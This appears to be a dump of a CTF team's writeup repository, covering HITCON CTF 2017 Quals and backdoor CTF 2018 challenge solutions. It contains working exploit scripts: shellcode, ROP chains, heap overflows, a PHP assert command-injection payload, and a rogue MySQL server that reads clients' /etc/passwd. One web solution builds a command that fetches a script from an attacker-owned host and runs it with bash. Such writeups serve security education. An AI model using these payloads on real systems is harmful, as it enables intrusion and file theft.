├── .nojekyll ├── 20171104-hitconctfquals ├── README.md └── index.html ├── 20180310-n1ctf ├── README.md └── index.html ├── 20180317-backdoorctf ├── README.md └── index.html ├── 20180324-volgactf ├── README.md ├── index.html └── rogue_mysql_server.py ├── 20180330-nuitduhackctf ├── README.md └── index.html ├── 20180411-hitbxctfqual ├── README.md └── index.html ├── 20180421-*ctf ├── README.md └── index.html ├── 20180429-asisctfquals ├── README.md └── index.html ├── 20180505-plaidctf ├── README.md └── index.html ├── 20180512-defconctfqual ├── README.md └── index.html ├── 20180526-suctf ├── README.md └── index.html ├── 20180601-ais3preexam ├── README.md └── index.html ├── 20180908-hackitctf ├── README.md └── index.html ├── 20180914-trendmicroctf ├── README.md └── index.html ├── 20180922-dctfquals2018 ├── README.md └── index.html ├── 20180929-teaserdragonctf ├── README.md └── index.html ├── 20181006-hackoverctf ├── README.md └── index.html ├── 20181019-hitconctf ├── README.md └── index.html ├── 20181108-defcampctffinal ├── README.md └── index.html ├── 20181124-asisctffinal ├── README.md └── index.html ├── 20181130-pwn2winctf ├── README.md └── index.html ├── 20181207-hxpctf ├── README.md └── index.html ├── 20190126-codegatectf ├── README.md └── index.html ├── 20190223-tamuctf ├── README.md └── index.html ├── 20190308-pragyanctf ├── README.md └── index.html ├── 20190317-confidencectf ├── README.md └── index.html ├── 20190323-0ctf_tctf2019quals ├── README.md └── index.html ├── 20190329-volgactfqual ├── README.md └── index.html ├── 20190406-midnightsunctf ├── README.md └── index.html ├── 20190413-plaidctf ├── README.md └── index.html ├── 20190427-*ctf ├── README.md └── index.html ├── 20190513-defconctfqual ├── README.md └── index.html ├── 20190518-rctf2019 ├── README.md └── index.html ├── 20190522-securityfestctf ├── README.md └── index.html ├── 20190603-facebookctf ├── README.md └── index.html ├── 20190608-0ctf_tctf2019finals ├── README.md └── index.html ├── 20190622-googlectfquals ├── README.md └── index.html ├── 20190803-de1ctf ├── README.md └── index.html ├── 20190831-tokyowesternsctf ├── README.md └── index.html ├── 20190906-n1ctf ├── README.md └── index.html ├── 20190906-trendmicroctfqual ├── README.md └── index.html ├── 20190907-defcampctfqual ├── README.md └── index.html ├── 20190913-realworldctfqual ├── README.md └── index.html ├── 20190921-dragonctfteaser ├── README.md └── index.html ├── 20190928-bsidesdelhictf ├── README.md └── index.html ├── 20190928-pwnthybytesctf ├── README.md └── index.html ├── 20191012-hitconctfquals ├── README.md └── index.html ├── 20191019-secconquals ├── README.md └── index.html ├── 20191228-hxp36c3ctf ├── README.md └── index.html ├── 20200208-codegatectf2020quals ├── README.md └── index.html ├── 20200307-zer0ptsctf ├── README.md └── index.html ├── 20200314-confidencectf2020teaser ├── README.md └── index.html ├── 20200404-midnightsunctf2020quals ├── README.md └── index.html ├── 20200418-plaidctf2020 ├── README.md └── index.html ├── 20200509-spamandflags ├── README.md └── index.html ├── 20200627-0ctf_tctf2020quals ├── README.md └── index.html ├── 20200822-googlectf2020 ├── README.md └── index.html ├── 20200905-confidence2020ctffinals ├── README.md └── index.html ├── 20200928-tokyowesternsctf2020 ├── README.md └── index.html ├── 20201128-hitconctf ├── README.md └── index.html ├── 20210703-0ctf_tctf2021quals ├── README.md └── index.html ├── 20210717-googlectf2021 ├── README.md └── index.html ├── 20210904-allesctf ├── README.md └── index.html ├── 20210925-0ctf_tctf2021finals ├── README.md └── index.html ├── 20211127-dragonctf2021 ├── README.md └── index.html ├── 20211203-hitconctf2021 ├── README.md └── index.html ├── 20211211-secconctf2021 ├── README.md └── index.html ├── 20211217-hxpctf2021 ├── README.md └── index.html ├── 20220121-realworldctf ├── README.md └── index.html ├── 20220205-dicectf ├── README.md └── index.html ├── 20220226-tsjctf ├── README.md └── index.html ├── README.md ├── assets ├── css │ ├── bootstrap-4.0.0-beta.3.min.css │ ├── github-markdown.css │ ├── hljs-github.min.css │ └── pilcrow.css └── js │ ├── MathJax-2.7.4-TeX-MML-AM_CHTML.js │ ├── bootstrap-4.0.0-beta.3.min.js │ ├── jquery-3.3.1.slim.min.js │ ├── mathjax-2.7.4 │ ├── MathJax.js │ ├── config │ │ └── TeX-MML-AM_CHTML.js │ ├── extensions │ │ └── TeX │ │ │ └── mathchoice.js │ ├── fonts │ │ └── HTML-CSS │ │ │ └── TeX │ │ │ └── woff │ │ │ ├── MathJax_Main-Regular.woff │ │ │ └── MathJax_Math-Italic.woff │ └── jax │ │ └── output │ │ └── CommonHTML │ │ ├── autoload │ │ └── mtable.js │ │ ├── fonts │ │ └── TeX │ │ │ ├── AMS-Regular.js │ │ │ └── fontdata.js │ │ └── jax.js │ └── popper-1.14.3.min.js ├── index.html └── util ├── README.md ├── gen.sh ├── genindex.sh ├── markdown-to-html ├── balsn │ └── page.html └── gen-sidebar.py └── markdown-toc-generator ├── gen-toc.py └── lib └── gh-md-toc /.nojekyll: -------------------------------------------------------------------------------- 1 | # Disable Jekyll build process 2 | # https://blog.github.com/2009-12-29-bypassing-jekyll-on-github-pages/ 3 | -------------------------------------------------------------------------------- /20171104-hitconctfquals/README.md: -------------------------------------------------------------------------------- 1 | # HITCON CTF 2017 Quals 2 | 3 | 4 | **It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20171104-hitconctfquals/) of this writeup.** 5 | 6 | 7 | - [HITCON CTF 2017 Quals](#hitcon-ctf-2017-quals) 8 | - [crypto](#crypto) 9 | - [Luaky](#luaky) 10 | - [Secret Server](#secret-server) 11 | - [Secret Server Revenge](#secret-server-revenge) 12 | - [misc](#misc) 13 | - [Baby Ruby Escaping](#baby-ruby-escaping) 14 | - [Data & Mining](#data--mining) 15 | - [Easy to say](#easy-to-say) 16 | - [pwn](#pwn) 17 | - [Start](#start) 18 | - [完美無瑕 Impeccable Artifact](#完美無瑕-impeccable-artifact) 19 | - [rev](#rev) 20 | - [Sakura](#sakura) 21 | - [Seccomp](#seccomp) 22 | - [家徒四壁 Everlasting Imaginative Void](#家徒四壁-everlasting-imaginative-void) 23 | - [web](#web) 24 | - [BabyFirst Revenge](#babyfirst-revenge) 25 | 26 | 27 | 28 | ## crypto 29 | 30 | ### Luaky 31 | 32 | ```lua 33 | fight = -1 34 | tmp = 0 35 | chk = 0 36 | three = 0 37 | 38 | function play (a) 39 | fight = fight + 1 40 | if fight < 100000 then return a % 3 end 41 | if fight == 100000 then return 0 end 42 | 43 | --[[print (a, tmp)]] 44 | if (a+2)%3 ~= tmp then 45 | chk = 0 46 | three = 0 47 | --[[print(fight)]] 48 | end 49 | 50 | tmp = (tmp + a + 1) % 3 51 | chk = chk + 1 52 | 53 | 54 | if chk == 2 and three == 2 then 55 | three = 0 56 | chk = 0 57 | tmp = (tmp + 1) % 3 58 | elseif chk == 3 then 59 | tmp = (tmp + 1) % 3 60 | three = three + 1 61 | chk = 0 62 | end 63 | 64 | return tmp % 3 65 | end 66 | ``` 67 | 68 | `hitcon{Hey Lu4ky AI, I am Alpaca... MEH!}` 69 | 70 | ### Secret Server 71 | 72 | 1. Collect encrypted md5 of all prefixes of flag. 73 | 2. Guess prefix by calculating plaintext md5 and try to construct some command with encrypted md5. 74 | 75 | `hitcon{Paddin9_15_ve3y_h4rd__!!}` 76 | 77 | ### Secret Server Revenge 78 | 79 | 1. Collect encrypted md5 of all prefixes of token (56 reqs) 80 | 2. Leak MSB of last byte in plaintext md5 (56 reqs) 81 | 3. Build mapping for padding = 128~255 (128 reqs) 82 | 4. Recover last byte in plaintext md5 (56 reqs) 83 | 5. Brute-force token 84 | 85 | `hitcon{uNp@d_M3th0D_i5_am4Z1n9!}` 86 | 87 | ## misc 88 | 89 | ### Baby Ruby Escaping 90 | 91 | * Need a way to read file 92 | * Need the path of flag 93 | 94 | Solution 95 | 96 | 1. We can use AGRF and ARGV 97 | ``` 98 | ARGV.replace [FlagName] 99 | ARGF.readline 100 | ``` 101 | 2. readline has a good property `completion_append_character` 102 | ```ruby 103 | > /home/jail ##Press TAB key. 104 | .bash_logout 105 | .bashrc 106 | .profile 107 | jail.rb 108 | thanks_readline_for_completing_the_name_of_flag 109 | ``` 110 | 3. Get flag 111 | 112 | `hitcon{Bl4ckb0x.br0k3n? ? puts(flag) : try_ag4in!}` 113 | 114 | ### Data & Mining 115 | 116 | `strings | grep hitcon` 117 | 118 | `hitcon{BTCis_so_expensive$$$$$$$}` 119 | 120 | ### Easy to say 121 | 122 | ```python 123 | from pwn import * 124 | import time 125 | 126 | context.arch = 'amd64' 127 | r = remote('52.69.40.204', 8361) 128 | 129 | time.sleep(1) 130 | 131 | shellcode = asm(''' 132 | mov cx, 0x1000 133 | sub rsp, rcx 134 | pop rcx 135 | pop rbx 136 | pop rsi 137 | mov dl, 0x60 138 | syscall 139 | ''') 140 | 141 | r.send(shellcode) 142 | 143 | raw_input('>') 144 | r.send(cyclic(0x42)+asm(shellcraft.sh())) 145 | 146 | r.interactive() 147 | ``` 148 | 149 | `hitcon{sh3llc0d1n9_1s_4_b4by_ch4ll3n93_4u}` 150 | 151 | ## pwn 152 | 153 | ### Start 154 | * Buffer Overflow, can leak information from stack and overwrite return address. 155 | * The binary is statically linked, so it is easy to create a ROP chain to get a shell. 156 | * Canary and NX enabled, and Partial RELRO. 157 | 158 | Solution 159 | 1. Leak canary 160 | 2. Leak current stack address so the address of "/bin/sh\x00" can be known 161 | 3. Build a ROP chain to perform execve() 162 | 163 | The server only accept Ruby script, and it will take our script to run the binary. 164 | 165 | ```Ruby 166 | r = Sock.new '127.0.0.1', 31338 167 | 168 | r.sendline 'A'*24 169 | r.recvline 170 | canary = u64("\x00" + r.recvline[0...-4]) 171 | print "canary: " + canary.to_s(16) + "\n" 172 | sleep(1) 173 | 174 | r.sendline 'A'*63 175 | r.recvline 176 | stack = u64(r.recvline[0...-1] + "\x00\x00") - 344 177 | print "stack: " + stack.to_s(16) + "\n" 178 | sleep(1) 179 | 180 | payload = 'A'*24+p64(canary)+p64(0)+p64(0x47a6e6)+p64(59)+p64(0)+p64(0)+p64(0x4017f7)+p64(0)+p64(0x4005d5)+p64(stack+8)+p64(0x468e75) 181 | r.sendline payload 182 | r.recv(2000) 183 | sleep(1) 184 | 185 | r.sendline "exit\n\x00\x00\x00/bin/sh\x00" 186 | sleep(1) 187 | 188 | r.sendline "cat /home/*/flag" 189 | print r.recv(2000) 190 | ``` 191 | `hitcon{thanks_for_using_pwntools-ruby:D}` 192 | 193 | ### 完美無瑕 ~Impeccable Artifact~ 194 | * Arbitary write, didn't check the array index bondary. 195 | * Canary, NX, PIE enabled and Full RELRO. 196 | * Only some syscall are allowed. 197 | * However, if rax == rdx, the syscall is still allowed (line 0014). 198 | * Perform ORW to get the flag. 199 | 200 | Seccomp Rules: 201 | ``` 202 | line CODE JT JF K 203 | ================================= 204 | 0000: 0x20 0x00 0x00 0x00000004 A = arch 205 | 0001: 0x15 0x00 0x10 0xc000003e if (A != ARCH_X86_64) goto 0018 206 | 0002: 0x20 0x00 0x00 0x00000020 A = args[2] 207 | 0003: 0x07 0x00 0x00 0x00000000 X = A 208 | 0004: 0x20 0x00 0x00 0x00000000 A = sys_number 209 | 0005: 0x15 0x0d 0x00 0x00000000 if (A == read) goto 0019 210 | 0006: 0x15 0x0c 0x00 0x00000001 if (A == write) goto 0019 211 | 0007: 0x15 0x0b 0x00 0x00000005 if (A == fstat) goto 0019 212 | 0008: 0x15 0x0a 0x00 0x00000008 if (A == lseek) goto 0019 213 | 0009: 0x15 0x01 0x00 0x00000009 if (A == mmap) goto 0011 214 | 0010: 0x15 0x00 0x03 0x0000000a if (A != mprotect) goto 0014 215 | 0011: 0x87 0x00 0x00 0x00000000 A = X 216 | 0012: 0x54 0x00 0x00 0x00000001 A &= 0x1 217 | 0013: 0x15 0x04 0x05 0x00000001 if (A == 1) goto 0018 else goto 0019 218 | 0014: 0x1d 0x04 0x00 0x0000000b if (A == X) goto 0019 219 | 0015: 0x15 0x03 0x00 0x0000000c if (A == brk) goto 0019 220 | 0016: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0019 221 | 0017: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0019 222 | 0018: 0x06 0x00 0x00 0x00000000 return KILL 223 | 0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW 224 | ``` 225 | Solution 226 | ```python 227 | #!/usr/bin/env python 228 | 229 | from pwn import * 230 | 231 | host = '52.192.178.153' 232 | port = 31337 233 | 234 | # r = remote('127.0.0.1', port) 235 | r = remote(host, port) 236 | 237 | def menu(): 238 | r.recvuntil('?\n') 239 | 240 | def cmd(num): 241 | r.sendline(str(num)) 242 | 243 | def show(num): 244 | cmd(1) 245 | r.sendline(str(num)) 246 | r.recvuntil("Here it is: ") 247 | ret = r.recvline()[:-1] 248 | menu() 249 | return ret 250 | 251 | def memo(num, inp): 252 | cmd(2) 253 | r.sendline(str(num)) 254 | r.recvuntil('Give me your number:\n') 255 | r.sendline(str(inp)) 256 | menu() 257 | 258 | def end(): 259 | cmd(3) 260 | 261 | raw_input('#') 262 | 263 | menu() 264 | 265 | # leak libc adress 266 | libc = int(show(203)) - 241 - 0x20300 267 | print 'libc:', hex(libc) 268 | 269 | # leak code adress 270 | code = int(show(202)) - 0xbb0 271 | print 'code:', hex(code) 272 | 273 | # stack address index: 231 274 | stack = int(show(205)) 275 | print 'stack:', hex(stack) 276 | 277 | pop_rax = libc + 0x3a998 278 | pop_rdi = libc + 0x1fd7a 279 | pop_rsi = libc + 0x1fcbd 280 | pop_rdx = libc + 0x1b92 281 | pop_rcx = libc + 0x1a97b8 282 | mov_rdi_rax_call_rcx = libc + 0x89ae9 283 | syscall = libc + 0xbc765 284 | 285 | # /home/artifact/flag 286 | memo(0, 8241920905738938415) 287 | memo(1, 7363231885958736244) 288 | memo(2, 6775148) 289 | 290 | # open 291 | memo(203, pop_rdi) 292 | memo(204, stack - 231*8) 293 | memo(205, pop_rsi) 294 | memo(206, 0) 295 | memo(207, pop_rdx) 296 | memo(208, 2) 297 | memo(209, pop_rax) 298 | memo(210, 2) 299 | memo(211, syscall) 300 | 301 | # read 302 | memo(212, pop_rcx) 303 | memo(213, pop_rax) 304 | memo(214, mov_rdi_rax_call_rcx) 305 | memo(215, pop_rax) 306 | memo(216, 0) 307 | memo(217, pop_rsi) 308 | memo(218, stack - 80*8) 309 | memo(219, pop_rdx) 310 | memo(220, 100) 311 | memo(221, syscall) 312 | 313 | # write 314 | memo(222, pop_rax) 315 | memo(223, 1) 316 | memo(224, pop_rdi) 317 | memo(225, 1) 318 | memo(226, syscall) 319 | 320 | end() 321 | 322 | r.interactive() 323 | ``` 324 | `hitcon{why_libseccomp_cheated_me_Q_Q}` 325 | 326 | ## rev 327 | 328 | ### Sakura 329 | * This binary need 400-byte input 330 | * Need to pass the check funtion 331 | 332 | solution 333 | 334 | 1. Use angr but need mitigate path explosion 335 | ```python 336 | import angr 337 | def AAADD(a): 338 | return a+0x400000 339 | 340 | f=open("./sakura-fdb3c896d8a3029f40a38150b2e30a79").read() 341 | 342 | target="C685B7E1FFFF00".decode("hex") # find wrong path to prune 343 | 344 | allt=[] 345 | temp=0 346 | while f.find(target)!=-1: 347 | allt.append(temp+f.find(target)) 348 | f=f[allt[-1]-temp+1:] 349 | temp=allt[-1]+1 350 | 351 | print len(allt) 352 | alll=map(AAADD,allt) 353 | 354 | print map(hex,alll[:10]) 355 | 356 | b=angr.Project("./sakura-fdb3c896d8a3029f40a38150b2e30a79") 357 | a=b.factory.entry_state() 358 | for _ in xrange(400): 359 | k=a.posix.files[0].read_from(1) 360 | a.se.add(k!=0) 361 | a.se.add(k!=10) 362 | a.posix.files[0].seek(0) 363 | a.posix.files[0].length=400 364 | pg=b.factory.path_group(a) 365 | pg.explore(find=0x4110CA,avoid=alll) 366 | pg.found[0].state.posix.dump(0,"HAHA") 367 | print pg.found[0].state.posix.dumps(0) 368 | print pg.found[0].state.posix.dumps(1) 369 | ``` 370 | 371 | ### Seccomp 372 | The BPF code looks like 373 | ```python 374 | for M in arguments: 375 | for round in range(8): 376 | # transform 377 | M0 = mul(M0, const.pop(0)) 378 | M1 = add(M1, const.pop(0)) 379 | M2 = add(M2, const.pop(0)) 380 | M3 = mul(M3, const.pop(0)) 381 | # mix 382 | M4 = M0 ^ M2 383 | M5 = M1 ^ M3 384 | M4_2 = mul(M4, const.pop(0)) 385 | M5_2 = add(M5, M4_2) 386 | M5_3 = mul(M5_2, const.pop(0)) 387 | M4_3 = add(M4_2, M5_3) 388 | M0 ^= M5_3 389 | M1 ^= M4_3 390 | M2 ^= M5_3 391 | M3 ^= M4_3 392 | # skip last round 393 | if round < 7: 394 | # swap 395 | tmp = M1 396 | M1 = M2 397 | M2 = tmp 398 | # transform 399 | M0 = mul(M0, const.pop(0)) 400 | M1 = add(M1, const.pop(0)) 401 | M2 = add(M2, const.pop(0)) 402 | M3 = mul(M3, const.pop(0)) 403 | # check 404 | assert(M3 ^ 4919 == const.pop(0)) 405 | assert(M2 ^ 4919 == const.pop(0)) 406 | assert(M1 ^ 4919 == const.pop(0)) 407 | assert(M0 ^ 4919 == const.pop(0)) 408 | ``` 409 | where `M` is the 64bits input split into 4 16bits integer, `mul` is multiplication under mod `0x10001`, and `add` is addition under mod `0x10000`. 410 | Undo the transform parts by inverse elements. 411 | For the mix parts, `M4 = M0 ^ M2 = (M0 ^ M5_3) ^ (M2 ^ M5_3) = M0_2 ^ M2_2`, then calcute `M4_3` and `M5_3` to find original `M0~M4` 412 | 413 | ### 家徒四壁 ~Everlasting Imaginative Void~ 414 | 415 | 1. Notice that `.eh_frame` is corrupt and a destructor jumps to `.eh_frame`. 416 | 2. Trace code and find a check at 0x284 to check if the 16th byte of input is `!`. 417 | 3. Bypass the check and notice an AES encryption is performed on input and compared with some ciphertext. 418 | 4. Decrypt ciphertext with same set of round keys. 419 | 420 | `hitcon{code_in_BuildID!}` 421 | 422 | ## web 423 | 424 | ### BabyFirst Revenge 425 | 426 | Own `zxzz.tk` 427 | 428 | ``` 429 | >echo 430 | >w\\ 431 | *>>.a 432 | rm w* 433 | >ge\\ 434 | *>>.a 435 | rm g* 436 | >t 437 | >zx\\ 438 | *>>.a 439 | rm t* 440 | rm z* 441 | >z\\ 442 | *>>.a 443 | rm z* 444 | >z.\\ 445 | *>>.a 446 | rm z* 447 | >tk 448 | *>>.a 449 | rm t* 450 | >bash 451 | b* .a 452 | ``` 453 | 454 | `hitcon{idea_from_phith0n,thank_you:)}` 455 | -------------------------------------------------------------------------------- /20180317-backdoorctf/README.md: -------------------------------------------------------------------------------- 1 | # backdoor CTF 2018 2 | 3 | 4 | **It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180317-backdoorctf/) of this writeup.** 5 | 6 | 7 | - [backdoor CTF 2018](#backdoor-ctf-2018) 8 | - [Pwn](#pwn) 9 | - [shelter (sces60107)](#shelter-sces60107) 10 | - [rev](#rev) 11 | - [re-curse (sces60107)](#re-curse-sces60107) 12 | - [mind-fcuk (sces60107)](#mind-fcuk-sces60107) 13 | - [forensic](#forensic) 14 | - [random-noise (qazwsxedcrfvtg14 sces60107)](#random-noise-qazwsxedcrfvtg14-sces60107) 15 | - [vm-service 1 & 2 (sces60107 qazwsxedcrfvtg14)](#vm-service-1--2-sces60107-qazwsxedcrfvtg14) 16 | - [misc](#misc) 17 | - [cats-everywhere (sces60107)](#cats-everywhere-sces60107) 18 | - [crypto](#crypto) 19 | - [web](#web) 20 | - [BF-CAPTCHA-REVENGE (solved by qazwsxedcrfvtg14, written by bookgin)](#bf-captcha-revenge-solved-by-qazwsxedcrfvtg14-written-by-bookgin) 21 | - [Get-hired (solved by sasdf, written by bookgin)](#get-hired-solved-by-sasdf-written-by-bookgin) 22 | - [Get-hired 2 (unsolved, written by bookgin)](#get-hired-2-unsolved-written-by-bookgin) 23 | 24 | 25 | 26 | ## Pwn 27 | 28 | ### shelter (sces60107) 29 | ```python 30 | from pwn import * 31 | 32 | r=remote("51.15.73.163",8088) 33 | #r=process("./challenge") 34 | #context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] 35 | #gdb.attach(proc.pidof(r)[0],'b *0x0804A65D\nc\n') 36 | 37 | # We want to overwrite the function on the heap 38 | # We can overwrite prev-size so that we can forge a chunk that will overlap with other chunk 39 | 40 | 41 | 42 | 43 | r.recvuntil("choice > ") 44 | r.sendline("3") 45 | r.recvuntil("at ") 46 | help=int(r.recvline(),16) 47 | print hex(help) 48 | 49 | system=help-0xc1a+0xa30 50 | r.recvuntil("choice > ") 51 | r.sendline("1") 52 | r.recvuntil("content >") 53 | r.send("a"*0xc8+p64(0x90)+p64(0x111)) 54 | r.recvuntil("at ") 55 | heap0=int(r.recvline()[:-2],16) 56 | print hex(heap0) 57 | 58 | r.recvuntil("choice > ") 59 | r.sendline("1") 60 | r.recvuntil("content >") 61 | r.send("a"*0xc8+p64(0x90)+p64(0x121)+p64(heap0+0x300)+p64(heap0+0x300)) 62 | r.recvuntil("at ") 63 | heap1=int(r.recvline()[:-2],16) 64 | print hex(heap1) 65 | 66 | r.recvuntil("choice > ") 67 | r.sendline("1") 68 | r.recvuntil("content >") 69 | r.send(p64(heap1+0xd0)*10) 70 | r.recvuntil("at ") 71 | heap2=int(r.recvline()[:-2],16) 72 | print hex(heap2) 73 | 74 | 75 | r.recvuntil("choice > ") 76 | r.sendline("1") 77 | r.recvuntil("content >") 78 | r.send(p64(heap1+0xd0)*10) 79 | r.recvuntil("at ") 80 | heap3=int(r.recvline()[:-2],16) 81 | print hex(heap3) 82 | 83 | 84 | r.recvuntil("choice > ") 85 | r.sendline("2") 86 | r.recvuntil("note >") 87 | r.sendline("2") 88 | 89 | 90 | r.recvuntil("choice > ") 91 | r.sendline("1") 92 | r.recvuntil("content >") 93 | r.send("a"*0xe8+p64(0x120)+"\x00") 94 | r.recvuntil("at ") 95 | heap2=int(r.recvline()[:-2],16) 96 | print hex(heap2) 97 | 98 | r.recvuntil("choice > ") 99 | r.sendline("2") 100 | r.recvuntil("note >") 101 | r.sendline("3") 102 | 103 | r.recvuntil("choice > ") 104 | r.sendline("1") 105 | r.recvuntil("content >") 106 | r.send(p64(system)*10) 107 | r.recvuntil("at ") 108 | heap2=int(r.recvline()[:-2],16) 109 | print hex(heap2) 110 | 111 | 112 | r.recvuntil("choice > ") 113 | r.sendline("2") 114 | r.recvuntil("note >") 115 | r.sendline("2") 116 | r.interactive() 117 | 118 | 119 | ``` 120 | 121 | ## rev 122 | 123 | ### re-curse (sces60107) 124 | 125 | In this challenge, you will get a binary file. 126 | 127 | After some investigation, you find out that it's a Haskell binary. 128 | 129 | This binary will take your input string and do some encoding, then it will compare your encoded string with the encoded flag. 130 | 131 | Here is an example 132 | 133 | ![](https://i.imgur.com/VhHVHEC.png) 134 | 135 | 136 | You can find out that `CTF` will become `dE4`. 137 | 138 | If encode both string in hex, you will find out the secret. 139 | 140 | ```shell= 141 | Hex("CTF") = "435446"; 142 | Hex("dE4") = "644534"; 143 | ``` 144 | 145 | This binary reverse the hex string. 146 | 147 | After knowing that encode algorithm, we just need find out the encoded flag. 148 | 149 | Finally, the flag is `CTF{R3_CURS3_I5_LIFT3D_0FF_Y0U}` 150 | 151 | ### mind-fcuk (sces60107) 152 | 153 | You will get a binary from this challenge. 154 | 155 | First we can just execute it, and see what will happen. 156 | 157 | ![](https://i.imgur.com/TI82DQi.png) 158 | 159 | It has four keys. 160 | 161 | This binary will divide your input into four parts, and each part will be compared with those keys repectively after doing some encoding. 162 | 163 | The first part is ROT13. 164 | The second one is XOR. 165 | For the third one and four one, I just mantain a mapping table instead of reversing the algorithm. 166 | 167 | At the end I can produce the flag. 168 | 169 | The flag is `CTF{f5g4s8g4dyjj4f48f5d}` 170 | 171 | 172 | ## forensic 173 | 174 | ### random-noise (qazwsxedcrfvtg14 sces60107) 175 | 176 | There are two phase in this challenge. 177 | 178 | At the begining, you can use `zsteg` to find out the first clue `key for vigenere cipher: THISKEYCANTBEGUESSED (not the flag) 179 | ` 180 | ![](https://i.imgur.com/EZm7WQi.png) 181 | 182 | And you also get another png file. 183 | After some investigation, you find out that some color exactly occur 4159 times in the second png file, the other colors only occur once. 184 | 185 | Leverage that feature, you can modify the png file.![](https://i.imgur.com/lYnyNLG.png) 186 | 187 | Now you get a sequence of morse code. 188 | Just decode it, you will get `YSIYSWFGYLHVNAMXKSZHWUMG 189 | `. 190 | This is the second clue. 191 | 192 | According to these clues, you can figure out the flag now. 193 | 194 | 195 | ### vm-service 1 & 2 (sces60107 qazwsxedcrfvtg14) 196 | 197 | This challenge give you an ova file, and tell you that the password of his account is the first flag. 198 | 199 | It's very easy to get the root privilege. 200 | After that, you can get the password with /etc/shadow. 201 | 202 | But actually, we didn't get the password in that way. 203 | We noticed that there is a keylogger in this virtual machine. 204 | And we also found the log. 205 | 206 | After reversing the keylogger binary, you can figure the encoding of the log. 207 | Now you can dig the second flag and the password out of these logs. 208 | 209 | ## misc 210 | 211 | ### cats-everywhere (sces60107) 212 | 213 | This challenge is easiest one. 214 | 215 | you will be given a git repo. 216 | 217 | In these kind of challenges, the first thing you need to do is check out the history of this repo. 218 | 219 | Here are some useful command 220 | 221 | ```shell 222 | git log 223 | 224 | git cat-file -p 225 | ``` 226 | 227 | Soon you can find out the flag pictures. 228 | 229 | ## crypto 230 | 231 | ## web 232 | 233 | ### BF-CAPTCHA-REVENGE (solved by qazwsxedcrfvtg14, written by bookgin) 234 | 235 | The challenge is a website which shows some brainfuck code and an audio captcha, and I don't bother to solve it at all. 236 | 237 | First, the descrition of the challenge gives us the hint about the `.git`. We use [GitTools](https://github.com/internetwache/GitTools) to crwal the repository. 238 | 239 | >rnehra01 loves to version control and has made these captchas as good as hell. 240 | 241 | 242 | In the source code: 243 | ```php 244 | function is_clean($input){ 245 | ... 246 | 247 | if (preg_match('/(base64_|eval|system|shell_|exec|php_)/i', $input)){//no coomand injection 248 | bad_hacking_penalty(); 249 | return false; 250 | } 251 | 252 | ... 253 | 254 | } 255 | 256 | if (is_clean($user_ans)) { 257 | assert("'$real_ans' === '$user_ans'") 258 | ... 259 | } 260 | ``` 261 | 262 | There is a obvious command injection, and it can be bypassed easily. 263 | 264 | The payload: 265 | ``` 266 | `'OR ("sys"."tem")("ls -al") OR'` 267 | `'OR ("sys"."tem")("cat rand*") OR'` 268 | ``` 269 | 270 | Acctually I'm trying to create a reverse shell, but `system` seems to be more efficient and effective to retrieve the flag. 271 | 272 | Of course, I guess some team will solve all the reCAPTCHA to get the flag, and [P4](https://github.com/p4-team/ctf/tree/master/2018-03-18-backdoor-ctf/web_captcha) proves that. 273 | 274 | ### Get-hired (solved by sasdf, written by bookgin) 275 | 276 | In `call.js`, this is vulenrable to XSS: 277 | ```javascript= 278 | function p(details){ 279 | document.getElementById('call\_details').innerHTML = details.sender\_username + " is calling " + details.receiver_username + " ...."; 280 | } 281 | ``` 282 | 283 | It utilizes `postMessage` API to render the HTML content. 284 | ```javascript 285 | $("#audiocall").click(function(){ 286 | var call_window; 287 | call_window = window.open("call.php"); 288 | setTimeout(function(){ 289 | call_window.postMessage({ 290 | type: "audio", 291 | details: { 292 | sender_username: "admin", 293 | sender\_team\_name: "InfosecIITR", 294 | receiver\_username: escapeHTML($("#r\_call").val()), 295 | receiver\_team\_name: escapeHTML($("#rteam_call").val()) 296 | } 297 | }, "*"); 298 | }, 100); 299 | }); 300 | 301 | ``` 302 | 303 | Also, sending a URL in `get hired` page allows the admin to browse a foreign site. Therefore, we just create a `evilsite.com` with the content below. The admin will post the XSS payload to iFrame, and we are able to get the cookie. 304 | 305 | ```htmlmixed 306 | 307 | 323 | ``` 324 | 325 | ### Get-hired 2 (unsolved, written by bookgin) 326 | 327 | It adds an origin verification function. 328 | 329 | ```javascript 330 | function verifyorigin(originHref) { 331 | var a = document.createElement("a"); 332 | a.href = originHref; 333 | return a.hostname == window.location.hostname 334 | } 335 | 336 | if(!verifyorigin(event.origin)){ 337 | return; 338 | ... 339 | } 340 | ``` 341 | 342 | Bypass it with null origin using [data URI](https://en.wikipedia.org/wiki/Data_URI_scheme). 343 | 344 | Reference: 345 | 1. https://ctftime.org/writeup/9187 346 | 2. https://ctftime.org/writeup/9181 347 | -------------------------------------------------------------------------------- /20180324-volgactf/rogue_mysql_server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # Python 3.6.4 3 | from pwn import * 4 | 5 | server = listen(3306) 6 | 7 | server.wait_for_connection() 8 | # Server Greeting 9 | server.send(bytes.fromhex('4a0000000a352e372e32310007000000447601417b4f123700fff7080200ff8115000000000000000000005c121c5e6f7d387a4515755b006d7973716c5f6e61746976655f70617373776f726400')) 10 | # Client login request 11 | print(server.recv()) 12 | # Server Response OK 13 | server.send(bytes.fromhex('0700000200000002000000')) 14 | # Client SQL query 15 | print(server.recv()) 16 | # Server response with evil 17 | query_ok = bytes.fromhex('0700000200000002000000') 18 | dump_etc_passwd = bytes.fromhex('0c000001fb2f6574632f706173737764') 19 | server.send(dump_etc_passwd) 20 | 21 | # This contains the flag 22 | print(server.recv()) 23 | -------------------------------------------------------------------------------- /20180330-nuitduhackctf/README.md: -------------------------------------------------------------------------------- 1 | # Nuit du Hack CTF Quals 2018 2 | 3 | 4 | **It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180330-nuitduhackctf/) of this writeup.** 5 | 6 | 7 | - [Nuit du Hack CTF Quals 2018](#nuit-du-hack-ctf-quals-2018) 8 | - [Pwn](#pwn) 9 | - [reverse](#reverse) 10 | - [Web](#web) 11 | - [PixEditor (bookgin)](#pixeditor-bookgin) 12 | - [Linked Out (bookgin)](#linked-out-bookgin) 13 | - [Crawl Me Maybe (unsolved, written by bookgin)](#crawl-me-maybe-unsolved-written-by-bookgin) 14 | - [CoinGame (bookgin)](#coingame-bookgin) 